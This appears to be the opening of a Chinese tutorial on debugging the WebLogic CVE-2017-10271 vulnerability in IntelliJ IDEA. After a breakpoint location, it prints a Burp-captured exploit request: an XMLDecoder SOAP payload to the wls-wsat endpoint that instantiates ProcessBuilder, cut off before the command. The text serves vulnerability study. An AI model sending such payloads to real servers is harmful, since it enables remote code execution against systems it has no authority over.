IDEA debug漏洞第一篇(weblogic,cve-2017-10271)
在weblogic.wsee.jaxws.WLSServletAdapter的129行打点 1 if (var2.getMethod().equals("GET") || var2.getMethod().equals("HEAD")) { 然后开启debug模式,进行发包,截获断点处的请求包。 burp包内容: POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Host: localhost:7001 Content-Type: text/xml Content-Length: 987 <?xml version="1.0"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void